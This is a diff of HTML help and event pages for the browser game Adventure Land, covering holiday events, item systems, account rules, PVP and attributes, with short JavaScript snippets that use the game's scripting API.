<span class='spfaith'></span> Faith is inside the Tavern. <br />
|
||||
<span class='spsanta'></span> You can find Santa with Rudolph to the north of the Arctic Bee's. <br />
|
||||
</p>
|
||||
|
||||
<p>
|
||||
<div style='padding: 0px; border: 4px solid #2B5B89; display: inline-block; font-size: 0px; vertical-align: text-bottom'><img src="http://lh3.googleusercontent.com/BbENUEvYLaLvbHPdk9uWDkMwhh59v4Sd_V_wex6whMDiLr9h2ZDCmDN-i5XxTehHbnaRQPrnd-msEgSsjaQrLWxCNQz6uvvA=s400" style='height: 200px'/></div>
|
||||
<div style='vertical-align: top; display: inline-block; width: 320px'>
|
||||
You can get a Holiday Spirit buff by interacting with the New Years Tree <br />
|
||||
<div style='margin-top: 10px; display: inline-block;'>
|
||||
<div style='float:left; margin-right: 10px'><span class='eitemf'></span></div>
|
||||
If you get the buff after it expires, the tree awards you a fun token!
|
||||
</div>
|
||||
</div>
|
||||
</p>
|
||||
|
||||
<p>
|
||||
<div><div style='float:left; margin-right: 10px'><span class='eitemxbox'></span></div> Collect all 9 pieces of this mystic puzzle and craft the X Box and exchange it from Xyn for something special!</div>
|
||||
<div style='margin-top: 10px'><span class='eitemx0'></span> <span class='eitemx1'></span> <span class='eitemx2'></span> <span class='eitemx3'></span> <span class='eitemx4'></span> <span class='eitemx5'></span> <span class='eitemx6'></span> <span class='eitemx7'></span> <span class='eitemx8'></span></div>
|
||||
</p>
|
||||
|
||||
<p>
|
||||
The Holiday Spirit set includes many items, some you can craft, most you get by returning the global drops to the NPC's.
|
||||
<div style='margin-top: -16px; text-align: left'><span class='eitemh0'></span> <span class='eitemh1'></span> <span class='eitemh2'></span> <span class='eitemh3'></span> <span class='eitemh4'></span> <span class='eitemh5'></span> <span class='eitemh6'></span> <span class='eitemh7'></span> <span class='eitemh8'></span> <span class='eitemh9'></span> <span class='eitemh10'></span> <span class='eitemh11'></span> <span class='eitemh12'></span> <span class='eitemh13'></span> <span class='eitemh14'></span> <span class='eitemh15'></span></div>
|
||||
</p>
|
||||
|
||||
<p>
|
||||
<span class='spsnowman'></span> The snowman spawns every hour. Snowman is a collaborative boss, everyone who participates gets a reward. You can only deal 1 damage to Snowman - better participate at each spawn for the common good!
|
||||
</p>
|
||||
|
||||
<p>
|
||||
<span class='spgrinch'></span> Grinch is a trickster. He portals to you, steals your gold, and escapes before he can be defeated! Make sure you are never alone. Defeating Grinch requires a lot of planning, as he doesn't stay long in one place and can heal himself. When he spawns, he already has 12,000,000+ gold in his pockets!
|
||||
<br />
|
||||
<br />
|
||||
Dealing 400,000 damage to Grinch unlocks the Festive achievement and a title reward for your equipped cape, so make sure you target him whenever he teleports to you!
|
||||
</p>
|
||||
|
||||
<p style='line-height: 40px'>
|
||||
<span class='eitemhx'></span> Tip: Grinch really hates the sweater!
|
||||
</p>
|
||||
|
||||
<p>
|
||||
We also have many new items for the winter and holiday season, like throwable Snowballs!
|
||||
<div style='margin-top:-30px'><span class='eitemm1'></span> <span class='eitemm2'></span> <span class='eitemm3'></span> <span class='eitemm4'></span> <span class='eitemm5'></span> <span class='eitemm6'></span></div>
|
||||
</p>
|
||||
|
||||
<p style='font-size: 32px; color: #216D25; text-decoration: underline dotted #B30B1A; margin-bottom: 10px'>Snippets</p>
|
||||
|
||||
<div class='code'>
|
||||
// Check the buff, to make sure we get the token
|
||||
if(!character.s.holidayspirit)
|
||||
parent.socket.emit("interaction",{type:"newyear_tree"});
|
||||
// raw socket method for the interaction
|
||||
|
||||
game.on("event",function(data){
|
||||
if(data.name=="grinch")
|
||||
log("oh boy");
|
||||
else if(data.name=="snowman")
|
||||
{
|
||||
smart_move(data);
|
||||
// since data includes "map"/"x"/"y" - this will work
|
||||
}
|
||||
});
|
||||
|
||||
auto_craft("xbox"); // 2 methods to craft the "xbox"
|
||||
craft(locate_item("x0"),locate_item("x1"),locate_item("x2"),locate_item("x3"),locate_item("x4"),locate_item("x5"),locate_item("x6"),locate_item("x7"),locate_item("x8"));
|
||||
</div>
|
||||
|
||||
<div style='margin-bottom: 24x'></div>
|
||||
|
||||
|
||||
<script>
|
||||
$(".eitem1").html(item_container({skin:G.items.candycane.skin},{name:"candycane",q:0}));
|
||||
$(".eitem2").html(item_container({skin:G.items.ornament.skin},{name:"ornament",q:0}));
|
||||
$(".eitem3").html(item_container({skin:G.items.mistletoe.skin},{name:"mistletoe",q:0}));
|
||||
$(".eitemf").html(item_container({skin:G.items.funtoken.skin},{name:"funtoken",q:0}));
|
||||
for(var i=0;i<9;i++)
|
||||
$(".eitemx"+i).html(item_container({skin:G.items['x'+i].skin},{name:'x'+i,q:0}));
|
||||
for(var i=0;i<16;i++)
|
||||
$(".eitemh"+i).html(item_container({skin:G.items[G.sets.holidays.items[i]].skin},{name:G.sets.holidays.items[i],level:0}));
|
||||
$(".eitemhx").html(item_container({skin:G.items.xmassweater.skin},{name:'xmassweater',level:0}));
|
||||
$(".eitemm1").html(item_container({skin:G.items.snowball.skin},{}));
|
||||
$(".eitemm2").html(item_container({skin:G.items.gcape.skin},{}));
|
||||
$(".eitemm3").html(item_container({skin:G.items.iceskates.skin},{}));
|
||||
$(".eitemm4").html(item_container({skin:G.items.snowboots.skin},{}));
|
||||
$(".eitemm5").html(item_container({skin:G.items.snowflakes.skin},{}));
|
||||
$(".eitemm6").html(item_container({skin:G.items.northstar.skin},{}));
|
||||
$(".eitemxbox").html(item_container({skin:G.items.xbox.skin},{name:"xbox",q:0}));
|
||||
$(".spsnowman").html(sprite("snowman"));
|
||||
$(".spgrinch").html(sprite("grinch",{height: 56}));
|
||||
$(".spsanta").html(sprite("santa"));
|
||||
$(".spjayson").html(sprite("splithair"));
|
||||
$(".spfaith").html(sprite("pink"));
|
||||
</script>
|
||||
</div>
|
||||
@@ -0,0 +1,25 @@
|
||||
<div style='width: 600px'>
|
||||
<p style='font-size: 32px; color: #68C6FF; text-decoration: underline dotted #C7C7B3'>Ice Golem Event</p>
|
||||
|
||||
<p>
|
||||
<span class='spicegolem'></span> Ice Golem hurls frostballs to everyone who dares engage him. Hard to bring down but not impossible!
|
||||
</p>
|
||||
|
||||
|
||||
<div style='margin-bottom: 24x'></div>
|
||||
|
||||
<div class='gamebutton' onclick="btc(event); join('icegolem'); hide_modal();">Join the Event!</div>
|
||||
|
||||
<script>
|
||||
$(".spicegolem").html(sprite("icegolem",{width:120,height:150,scale:3}));
|
||||
</script>
|
||||
<span class="oncreate" onclick="$('.imodal:last').children().css('background','#19446C').css('color','#BBBABF')"></span>
|
||||
<p style='font-size: 32px; color: #68C6FF; text-decoration: underline dotted #C7C7B3; margin-bottom: 10px'>Snippets</p>
|
||||
|
||||
<div class='code'>
|
||||
if(parent.S.icegolem && !get_nearest_monster({type:'icegolem'}))
|
||||
join('icegolem');
|
||||
// Takes you there
|
||||
</div>
|
||||
|
||||
</div>
|
||||
@@ -0,0 +1,25 @@
|
||||
<div style='width: 600px'>
|
||||
<p style='font-size: 32px; color: #216D25; text-decoration: underline dotted #B30B1A'>Lunar New Year on Adventure Land</p>
|
||||
|
||||
<p>
|
||||
<div style='float:left; margin-right: 10px'><span class='eitem1'></span> Green Envelopes drop globally. You can exchange them from Xyn in Mainland. <br /></div>
|
||||
</p>
|
||||
|
||||
<p>
|
||||
<span class='spdragold'></span> Dragold spanws every 3 hours. Take a chance to capture one of the very rare drops. A unique crown as a cosmetics item and Dragold's chrysalis! (to have a Dragold as a pet!)
|
||||
</p>
|
||||
|
||||
<p>
|
||||
<span class='sptiger'></span> The Legendary Tiger appears to players and drops Tiger set items each time you manage to land a hit! Make sure to not hurt this peaceful and giving animal!
|
||||
</p>
|
||||
|
||||
|
||||
<div style='margin-bottom: 24x'></div>
|
||||
|
||||
|
||||
<script>
|
||||
$(".eitem1").html(item_container({skin:G.items.greenenvelope.skin},{name:"greenenvelope",q:0}));
|
||||
$(".spdragold").html(sprite("dragold",{height:80,width:66}));
|
||||
$(".sptiger").html(sprite("tiger",{height:50,width:42}));
|
||||
</script>
|
||||
</div>
|
||||
@@ -0,0 +1 @@
|
||||
Hello World!
|
||||
@@ -0,0 +1,33 @@
|
||||
<div style='width: 600px'>
|
||||
<p style='font-size: 32px; color: #216D25; text-decoration: underline dotted #B30B1A'>Valentines Day Event on Adventure Land</p>
|
||||
|
||||
<p>
|
||||
<div style='float:left; margin-right: 10px;'><span class='eitem1'></span></div> Candy Pop's drop globally. You can eat them or exchange them from Xyn in Mainland. <br />
|
||||
</p>
|
||||
|
||||
<p>
|
||||
<span class='sppinkgoo'></span> Love Goo spawns every hour in a random map and inside a random monster pack. Love Goo is co-op but has 98% avoidance, so it's a bit tricky to land a hit! :)
|
||||
</p>
|
||||
|
||||
<p style='font-size: 32px; color: #216D25; text-decoration: underline dotted #B30B1A; margin-bottom: 10px'>Snippet</p>
|
||||
|
||||
<div class='code'>
|
||||
game.on("event",function(data){
|
||||
// "pinkgoo" is the keyname of 'Love Goo'
|
||||
if(data.name=="pinkgoo")
|
||||
{
|
||||
smart_move(data);
|
||||
// The data only includes "map" and no coordinates
|
||||
// So you'll need to search for "pinkgoo" in one of the monster spawns
|
||||
}
|
||||
});
|
||||
</div>
|
||||
|
||||
<div style='margin-bottom: 24x'></div>
|
||||
|
||||
|
||||
<script>
|
||||
$(".eitem1").html(item_container({skin:G.items.candypop.skin},{name:"candypop",q:0}));
|
||||
$(".sppinkgoo").html(sprite("pinkgoo",{height:30,width:26}));
|
||||
</script>
|
||||
</div>
|
||||
@@ -0,0 +1,80 @@
|
||||
<div class="title mt10">Item Markings</div> <div class="mb10"></div>
|
||||
<div><span class='eiteml'></span> Left bottom corner indicates the item level</div>
|
||||
<div><span class='eitemll'></span> The color changes with higher levels</div>
|
||||
<div><span class='eitemq'></span> Right bottom corner indicates the item quantity</div>
|
||||
<div><span class='eitemqp'></span> HP / MP potions have special quantity colouring</div>
|
||||
<div><span class='eitemm'></span> M: Items received from the Merchant's Luck buff</div>
|
||||
<div><span class='eitempvp'></span> ^: PVP marked item, can be dropped on death</div>
|
||||
<div><span class='eitemsell'></span> $: A "Want to Sell" item listing</div>
|
||||
<div><span class='eitembuy'></span> ?: A "Want to Buy" item listing</div>
|
||||
<div><span class='eitemga'></span> @: A giveaway item</div>
|
||||
<div><span class='eitemlo'></span> X: Locked items can't be unintentionally sold/upgraded</div>
|
||||
<div><span class='eitemls'></span> S: Sealed items take 7 days to be unlocked</div>
|
||||
<div><span class='eitemlu'></span> U: Indicates an unlocking item</div>
|
||||
|
||||
<div class="divider"></div>
|
||||
<div class="title mt15">Item Upgrades</div> <div class="mb5"></div>
|
||||
<div>Weapons and Armor start at +0 and they can be upgraded until +10. +10 is almost an impossibility. At each upgrade, there's a chance of item loss. There are 3 grades of items, Low, High and Rare and 3 grades of upgrade scrolls.</div>
|
||||
|
||||
<div style='line-height: 50px; margin-top: 10px'><span class='eitemup0'></span> + <span class='eitemscr0'></span> => <span class='eitemup1'></span></div>
|
||||
|
||||
<div class="divider"></div>
|
||||
<div class="title mt15">Item Compounds</div> <div class="mb5"></div>
|
||||
<div>3 Accessories can be combined for a chance to acquire a higher level accessory.</div>
|
||||
|
||||
<div style='line-height: 50px; margin-top: 10px'><span class='eitemco0'></span> + <span class='eitemco0'></span> + <span class='eitemco0'></span> + <span class='eitemcscr0'></span> => <span class='eitemco1'></span></div>
|
||||
|
||||
<div class="divider"></div>
|
||||
<div class="title mt15">Item Exchanges and Quests</div> <div class="mb5"></div>
|
||||
<div>Some items can be exchanged for random rewards. Gems and armor, weapon boxes are some examples. Xyn in Town handles most exchanges. Items like seashells and leathers can be exchanged from their quest NPC's.</div>
|
||||
|
||||
<div style='line-height: 50px; margin-top: 10px'><span class='eitemex0'></span> => <span class='eitemexo00'></span> or <span class='eitemexo01'></span> or <span class='eitemexo02'></span> or ... </div>
|
||||
<div style='line-height: 50px; margin-top: 10px'><span class='eitemex1'></span> => <span class='eitemexo10'></span> or <span class='eitemexo11'></span> or ... </div>
|
||||
|
||||
<style>
|
||||
.title{
|
||||
color: #406944;
|
||||
font-size: 36px;
|
||||
margin-top: 15px;
|
||||
}
|
||||
.divider{
|
||||
margin-top: 15px;
|
||||
height: 5px;
|
||||
background-color: gray;
|
||||
margin-left: -26px;
|
||||
margin-right: -26px;
|
||||
}
|
||||
</style>
|
||||
|
||||
<script>
|
||||
$(".eiteml").html(item_container({skin:G.items.blade.skin},{name:"blade",level:5}));
|
||||
$(".eitemll").html(item_container({skin:G.items.harbringer.skin},{name:"harbringer",level:8}));
|
||||
$(".eitemq").html(item_container({skin:G.items.seashell.skin},{name:"seashell",q:40}));
|
||||
$(".eitemqp").html(item_container({skin:G.items.hpotx.skin},{name:"hpotx",q:88}));
|
||||
$(".eitemm").html(item_container({skin:G.items.suckerpunch.skin},{name:"suckerpunch",m:true}));
|
||||
$(".eitempvp").html(item_container({skin:G.items.gem1.skin},{name:"gem1",v:true,q:12}));
|
||||
// Trade
|
||||
$(".eitemsell").html(item_container({skin:G.items.woodensword.skin,trade_for_ui:true},{name:"woodensword",level:9}));
|
||||
$(".eitembuy").html(item_container({skin:G.items.fury.skin,trade_for_ui:true},{name:"fury",b:true}));
|
||||
$(".eitemga").html(item_container({skin:G.items.starkillers.skin,trade_for_ui:true},{name:"starkillers",giveaway:true}));
|
||||
// Locking
|
||||
$(".eitemlo").html(item_container({skin:G.items.wblade.skin},{name:"wblade",l:"l"}));
|
||||
$(".eitemls").html(item_container({skin:G.items.xgloves.skin},{name:"xgloves",l:"s"}));
|
||||
$(".eitemlu").html(item_container({skin:G.items.xpants.skin},{name:"xpants",l:"u"}));
|
||||
// Upgrades
|
||||
$(".eitemup0").html(item_container({skin:G.items.helmet.skin},{name:"helmet",level:0}));
|
||||
$(".eitemup1").html(item_container({skin:G.items.helmet.skin},{name:"helmet",level:1}));
|
||||
$(".eitemscr0").html(item_container({skin:G.items.scroll0.skin},{name:"scroll0"}));
|
||||
// Compounds
|
||||
$(".eitemco0").html(item_container({skin:G.items.hpamulet.skin},{name:"hpamulet",level:0}));
|
||||
$(".eitemco1").html(item_container({skin:G.items.hpamulet.skin},{name:"hpamulet",level:1}));
|
||||
$(".eitemcscr0").html(item_container({skin:G.items.cscroll0.skin},{name:"cscroll0"}));
|
||||
// Exchanges
|
||||
$(".eitemex0").html(item_container({skin:G.items.armorbox.skin},{name:"armorbox"}));
|
||||
$(".eitemexo00").html(item_container({skin:G.items.gloves.skin},{name:"gloves"}));
|
||||
$(".eitemexo01").html(item_container({skin:G.items.harmor.skin},{name:"harmor"}));
|
||||
$(".eitemexo02").html(item_container({skin:G.items.xgloves.skin},{name:"xgloves"}));
|
||||
$(".eitemex1").html(item_container({skin:G.items.leather.skin},{name:"leather",q:40}));
|
||||
$(".eitemexo10").html(item_container({skin:G.items.cape.skin},{name:"cape"}));
|
||||
$(".eitemexo11").html(item_container({skin:G.items.bcape.skin},{name:"bcape"}));
|
||||
</script>
|
||||
@@ -0,0 +1,61 @@
|
||||
<div class="title mt15">Servers</div> <div class="mb5"></div>
|
||||
|
||||
<div>Your character state is shared among all servers. For example when you move from Europas I to Americas II, your character continues from the same location.</div>
|
||||
|
||||
<div class="divider"></div>
|
||||
<div class="title mt15">Character Limits</div> <div class="mb5"></div>
|
||||
|
||||
<div>You can have at most 3 characters and 1 merchant online at any time. So you can simultaneously open 3 game windows and play with 3 characters!</div>
|
||||
|
||||
|
||||
<div class="divider"></div>
|
||||
<div class="title mt15">Code Call Limits</div> <div class="mb5"></div>
|
||||
|
||||
<div>Each character has a limited amount of calls it can make to the servers. If you write CODE that exceeds this amount the server will disconnect your character.</div>
|
||||
|
||||
|
||||
<div class="divider"></div>
|
||||
<div class="title mt15">One Account Per Player</div> <div class="mb5"></div>
|
||||
|
||||
<div>You are allowed to have a single account. Each account you create shares the same limits. So even if it's technically possible to create multiple accounts so players have the freedom to make changes and corrections on their own, creating an account for someone else will hinder your own gameplay causing the limits enforcer system to take automatic action. While the game struggles to stay DRM-Free, due to demand, accounts are automatically deactivated if the game is refunded.</div>
|
||||
|
||||
<div class="divider"></div>
|
||||
<div class="title mt15">Playing Together</div> <div class="mb5"></div>
|
||||
|
||||
<div>Currently unlimited players can play together from the same network, household, campus. Assuming they all individually purchased the game from Steam or Mac App Store. Thanks to the identity verification these platforms provide, it was possible to bypass the IP limits system that served our game for so long. It doesn't matter whether you play from Steam, Mac or Web. You can choose whatever platform you like. Legacy accounts are still subject to IP limitations.</div>
|
||||
|
||||
<div class="divider"></div>
|
||||
<div class="title mt15">Accounts Need to be Selfish</div> <div class="mb5"></div>
|
||||
|
||||
<div>Every account needs to be at least 80% self serving. It's possible to run someone else's account for them, however if the account you run for someone else doesn't mainly serve itself, all the accounts you run will be temporarily banned up to a year.</div>
|
||||
|
||||
<div class="divider"></div>
|
||||
<div class="title mt15">Every Account Needs an Active Personna!</div> <div class="mb5"></div>
|
||||
|
||||
<div>Accounts that never interact with the game yet operate 24/7 will be temporarily banned unless their merchants are social and active or the owner interacts with other players on Discord. It's enough to interact once every week on average. This is an anti-leech/multi-account rule, however the game is more fun for everyone this way too.</div>
|
||||
|
||||
<div class="divider"></div>
|
||||
<div class="title mt15">False Positives</div> <div class="mb5"></div>
|
||||
|
||||
<div>In case automated systems falsely take action, you can always email hello@adventure.land or message Wizard on Discord!</div>
|
||||
|
||||
|
||||
<div class="divider"></div>
|
||||
<div class="title mt15">Game Rules</div> <div class="mb5"></div>
|
||||
|
||||
<div>We thrive to have a positive community. So bullying, swearing etc. are strictly forbidden. Those who find game bugs are rewarded with Bug Bounty Box'es. Finding bugs, not reporting them / exploiting them is frowned upon.</div>
|
||||
|
||||
<style>
|
||||
.title{
|
||||
color: #406944;
|
||||
font-size: 36px;
|
||||
margin-top: 15px;
|
||||
}
|
||||
.divider{
|
||||
margin-top: 15px;
|
||||
height: 5px;
|
||||
background-color: gray;
|
||||
margin-left: -26px;
|
||||
margin-right: -26px;
|
||||
}
|
||||
</style>
|
||||
@@ -0,0 +1,18 @@
|
||||
<div class="title mt15">Cosmetics</div> <div class="mb5"></div>
|
||||
|
||||
<div>This article is a work in progress, but basically, if you click your NAME: section, you can open your own cosmetics, change your looks. If you purchase new cosmetics, click the cosmetics UI of another one of your characters, you can freely send these new cosmetics items in-between your characters!</div>
|
||||
|
||||
<style>
|
||||
.title{
|
||||
color: #406944;
|
||||
font-size: 36px;
|
||||
margin-top: 15px;
|
||||
}
|
||||
.divider{
|
||||
margin-top: 15px;
|
||||
height: 5px;
|
||||
background-color: gray;
|
||||
margin-left: -26px;
|
||||
margin-right: -26px;
|
||||
}
|
||||
</style>
|
||||
@@ -0,0 +1,48 @@
|
||||
<div class="title mt10">Browser</div> <div class="mb10"></div>
|
||||
<div>Easiest way to run Adventure Land is on browsers, however, browsers throttle Javascript performance and timing, so if your code requires heavy processing and precise timing, you will not achieve peak performance with your characters.</div>
|
||||
<div class="divider"></div>
|
||||
|
||||
<div class="title mt10">Multiple Game Client Windows</div> <div class="mb10"></div>
|
||||
<div>Second easiest way is to just open secondary game clients, either at character selection by pressing the "> New Game Window" at the top left column, or by typing /window as a chat command.</div>
|
||||
<div class="divider"></div>
|
||||
|
||||
<div class="title mt10">Launch Through COM</div> <div class="mb10"></div>
|
||||
<div>You can run a specific character faster by opening COM, going to the Characters tab and pressing Deploy on the character you want to run in a new window.</div>
|
||||
<div class="divider"></div>
|
||||
|
||||
<div class="title mt10">Observe Your Characters!</div> <div class="mb10"></div>
|
||||
<div>Visit <a class="eexternal" href="https://adventure.land/comm/" target="_blank" style="border-color: #32A3B0">https://adventure.land/comm/</a> from anywhere to observe and command your characters.</div>
|
||||
<div class="divider"></div>
|
||||
|
||||
<div class="title mt10">iFrame Characters</div> <div class="mb10"></div>
|
||||
<div>You can start a character as a bot by typing /start CHARACTERNAME in the chat window. From CODE:</div>
|
||||
<div class='code'>
|
||||
start_character("CHARACTERNAME"); // to run the character from within your Code automatically
|
||||
|
||||
send_cm("CHARACTERNAME",{a:1,b:2,c:"something"}); // to send messages, objects to your character
|
||||
|
||||
// On every character, implement a messaging logic like this:
|
||||
character.on("cm",function(m){
|
||||
if(m.name=="CHARACTERNAME") // Make sure the message is from a trusted character
|
||||
log(m.message); // Do something with the message!
|
||||
})
|
||||
</div>
|
||||
<div class="divider"></div>
|
||||
|
||||
<div class="title mt10">Command Line Interface a.k.a. CLI</div> <div class="mb10"></div>
|
||||
<div>This is a work in progress, but basically it's possible to run characters on a Raspberry PI etc. too, check out the Advanced article on the topic.</div>
|
||||
|
||||
<style>
|
||||
.title{
|
||||
color: #406944;
|
||||
font-size: 36px;
|
||||
margin-top: 15px;
|
||||
}
|
||||
.divider{
|
||||
margin-top: 15px;
|
||||
height: 5px;
|
||||
background-color: gray;
|
||||
margin-left: -26px;
|
||||
margin-right: -26px;
|
||||
}
|
||||
</style>
|
||||
@@ -0,0 +1 @@
|
||||
Hello World!
|
||||
@@ -0,0 +1,34 @@
|
||||
<div class="title mt15">PVP Servers</div> <div class="mb5"></div>
|
||||
|
||||
<div>In PVP servers, any character can attack another. Only the bank and the office in the beach are safe zones. PVP servers do provide more XP/Gold/Luck for the adventurous.</div>
|
||||
|
||||
<div class="divider"></div>
|
||||
<div class="title mt15">PVP Penalties</div> <div class="mb5"></div>
|
||||
|
||||
<div>You lose a dynamic amount of XP when someone defeats you in PVP. It's 2% to 4%. You can also lose gold if you are carrying gold. At level 1 the maximum amount is 100 gold, at level 75, the maximum amount becomes 1,000,000 gold. ^ Marked items can also be dropped on defeat with a %.</div>
|
||||
|
||||
<div class="divider"></div>
|
||||
<div class="title mt15">PVP Zones in PVE Servers</div> <div class="mb5"></div>
|
||||
|
||||
<div>Currently the Arena with Irradiated Goo's is a PVP Map on all servers. Same PVE penalties apply in PVP zones.</div>
|
||||
|
||||
|
||||
<div class="divider"></div>
|
||||
<div class="title mt15">Dueling</div> <div class="mb5"></div>
|
||||
|
||||
<div>If you don't want to risk loss, you can safely try PVP with others. To initiate a duel, you need to use the "/challenge" chat command. "/challenge CharacterName" challenges a character, if they are in a party - their party, to duel.</div>
|
||||
|
||||
<style>
|
||||
.title{
|
||||
color: #406944;
|
||||
font-size: 36px;
|
||||
margin-top: 15px;
|
||||
}
|
||||
.divider{
|
||||
margin-top: 15px;
|
||||
height: 5px;
|
||||
background-color: gray;
|
||||
margin-left: -26px;
|
||||
margin-right: -26px;
|
||||
}
|
||||
</style>
|
||||
@@ -0,0 +1,3 @@
|
||||
<p>Fishing zone nearby!<p>
|
||||
|
||||
<p>Craft a Fishing Rod and your merchant can fish here.</p>
|
||||
@@ -0,0 +1,3 @@
|
||||
<p>Mining zone nearby!<p>
|
||||
|
||||
<p>Craft a Pickaxe and your merchant can mine here.</p>
|
||||
@@ -0,0 +1,48 @@
|
||||
<div class="title mt15">Attributes</div> <div class="mb5"></div>
|
||||
<div class="gray mb"><span style="color: #3A3B3B">Strength:</span> Increases HP, Armor. <!--Increases the attack of warriors.--></div>
|
||||
<div class="gray mb"><span style="color: #3A3B3B">Intelligence:</span> Increases MP, Resistance. <!--Increases the attack of mages.--></div>
|
||||
<div class="gray mb"><span style="color: #3A3B3B">Dexterity:</span> Increases the attack speed, run speed.</div>
|
||||
<div class="gray mb"><span style="color: #3A3B3B">Vitality:</span> Increases HP proportional to level.</div>
|
||||
<div class="gray mb"><span style="color: #3A3B3B">Fortitude:</span> Reduces player versus player damage, diminishingly.</div>
|
||||
<div class="gray mb"><span style="color: #3A3B3B">Armor:</span> 100 Armor reduces incoming physical damage by 10%, diminishingly.</div>
|
||||
<div class="gray mb"><span style="color: #3A3B3B">Resistance:</span> 100 Resistance reduces incoming magical damage by 10%, diminishingly.</div>
|
||||
<div class="gray mb"><span style="color: #3A3B3B">Damage:</span> Proportionally increases the attack.</div>
|
||||
<div class="gray mb"><span style="color: #3A3B3B">A.Speed:</span> Attack frequency.</div>
|
||||
<div class="gray mb"><span style="color: #3A3B3B">Range:</span> Increases the attack range.</div>
|
||||
<div class="gray mb"><span style="color: #3A3B3B">Speed:</span> Increases the run speed.</div>
|
||||
<div class="gray mb"><span style="color: #3A3B3B">Stat:</span> Becomes a main attribute with a scroll.</div>
|
||||
<div class="gray mb"><span style="color: #3A3B3B">Evasion:</span> Evade physical attacks.</div>
|
||||
<div class="gray mb"><span style="color: #3A3B3B">A.Piercing:</span> Pierce through armor.</div>
|
||||
<div class="gray mb"><span style="color: #3A3B3B">R.Piercing:</span> Pierce through resistance.</div>
|
||||
<div class="gray mb"><span style="color: #3A3B3B">Crit:</span> % chance to deal double damage.</div>
|
||||
<div class="gray mb"><span style="color: #3A3B3B">Reflection:</span> Reflect magical attacks back.</div>
|
||||
<div class="gray mb"><span style="color: #3A3B3B">Damage Return:</span> Returns melee damage.</div>
|
||||
<div class="gray mb"><span style="color: #3A3B3B">Lifesteal:</span> Steals % of net damage dealt as HP.</div>
|
||||
<div class="gray mb"><span style="color: #3A3B3B">Manasteal:</span> Steals % of net damage dealt as MP, if exists.</div>
|
||||
<div class="gray mb"><span style="color: #3A3B3B">Courage:</span> Number of monsters that can target you, before fear kicks in.</div>
|
||||
|
||||
<div class="divider"></div>
|
||||
<div class="title mt15">Classes</div> <div class="mb5"></div>
|
||||
|
||||
<div>Warriors, Rogues and Rangers deal physical damage while Mages and Priests deal magical damage. Merchants can't attack and they gain experience by buying and selling items from other players. Priests can heal other players but their damage is only 40% of their heal.</div>
|
||||
|
||||
|
||||
<div class="divider"></div>
|
||||
<div class="title mt15">Skills</div> <div class="mb5"></div>
|
||||
|
||||
<div>Each class have it's own skills. As the game is in development the skills are ever changing and improving. You can check out your class skills from the <div class='gamebutton gamebutton-small' onclick="btc(event); if(character){ hide_modal(); render_skills(); }">SKILLS</div> system.</div>
|
||||
|
||||
<style>
|
||||
.title{
|
||||
color: #406944;
|
||||
font-size: 36px;
|
||||
margin-top: 15px;
|
||||
}
|
||||
.divider{
|
||||
margin-top: 15px;
|
||||
height: 5px;
|
||||
background-color: gray;
|
||||
margin-left: -26px;
|
||||
margin-right: -26px;
|
||||
}
|
||||
</style>
|
||||
@@ -0,0 +1,56 @@
|
||||
<h4 style='color: #5461C3; margin-bottom: -25px; margin-top: 10px'>Tracktrix</h4>
|
||||
<p>Get your tracktrix by completing 4 Monster Hunt Quest's from the NPC Daisy on Mainland, you can get the Tracktrix in exchange for 4 Monster Token's.</p>
|
||||
|
||||
<h4 style='color: #D99A2C; margin-bottom: -25px'>Scoring</h4>
|
||||
<p>
|
||||
<span style='color:#359CA3'>+1.0</span> For each monster your character or your party kills<br />
|
||||
<span style='color:#5BA652'>+0.3</span> Per each one of your characters in your party or within 600px of you<br />
|
||||
<span style='color:#AC3029'>-0.3</span> If you are not within 600px of the kill and your last kill was a different monster<br />
|
||||
<span style='color:#AC3029'>-0.1</span> If an allied merchant is within 600px of the kill<br />
|
||||
</p>
|
||||
|
||||
<h4 style='color: #4FD0A9; margin-bottom: -25px'>Co-op</h4>
|
||||
<p>
|
||||
Co-op monster scores and kills aren't shared within a party<br />
|
||||
All score modifications are halved for co-op monsters
|
||||
</p>
|
||||
|
||||
<h4 style='color: #3696CE; margin-bottom: -25px'>Misc</h4>
|
||||
<p>
|
||||
Merchants in a party only get half the points<br />
|
||||
If you've contributed more than 2% in Co-Op fights, you can't lose points from distance<br />
|
||||
</p>
|
||||
<!--
|
||||
<h4 style='color: #37BAC3; margin-bottom: -25px'>Alone</h4>
|
||||
<p>
|
||||
For regular monsters, each monster kill, increases your score for achievements by 1<br />
|
||||
If one of your characters are within 600px of you, your score increases by 0.3<br />
|
||||
Instead, if one of your characters are within your party, your score increases by 0.25<br />
|
||||
If your merchant is within 600px of you, your score decreases by 0.2 instead<br />
|
||||
</p>
|
||||
|
||||
<h4 style='color: #D99A2C; margin-bottom: -25px'>Partying</h4>
|
||||
<p>
|
||||
If you are in a party, each party kill increases your score for achievements by 1!<br />
|
||||
However, if you are not within 600px of the monster, your score decreases by 0.3<br />
|
||||
If a merchant is part of the party and near 600px of you, your score decreases by 0.1<br />
|
||||
If you are a merchant, your score is halved if you are not near
|
||||
</p>
|
||||
-->
|
||||
|
||||
{#
|
||||
okay. the panel starts with "each monster kill increases your score by 1.
|
||||
later it says if you are in a party each kill increases your score by 1.
|
||||
I would prefer the sentence(given that its correct here) "Each monster your character or your party kills increases the score by 1"
|
||||
Just for the sake of clraification I also gotta ask: party in this case includes members that are not MY characters right?
|
||||
I generally think that the word "you" shouldnt be in that text, because "you" are the operator of up to 4 characters. Best use "Your character"
|
||||
Also there are many statements "IF one of your characters" etc. I think those statements should be converted to either "for each of your character within 600 px range" or "If at least one of your characters is within 600 px range" depending which one of those it actually is, since that is not clear right now
|
||||
|
||||
#TODO: Consider combining party/alone
|
||||
|
||||
My main reason being that the alone section already makes a mention to party play
|
||||
If anything make an extra section that specifically adresses merchants
|
||||
|
||||
One more thing. 0.3 to 0.25 difference is fairly minor. Consider balancing them inbetween sor simplicitys sake
|
||||
Whether a nearby character is in your party or not that difference is
|
||||
#}
|
||||
@@ -0,0 +1 @@
|
||||
<p>Hello World</p>
|
||||
@@ -0,0 +1,15 @@
|
||||
<p>The bank houses item and gold storage clerks. It's shared across your characters, provides an easy way to store/transfer items and gold. Only one of your characters can enter the bank at one time.</p>
|
||||
|
||||
{% for task in tutorial_data("bank").tasks %}
|
||||
{% if loop.first %}<div style='margin-left:-24px; margin-right: -24px; border-bottom: 5px solid gray'></div>{% endif %}
|
||||
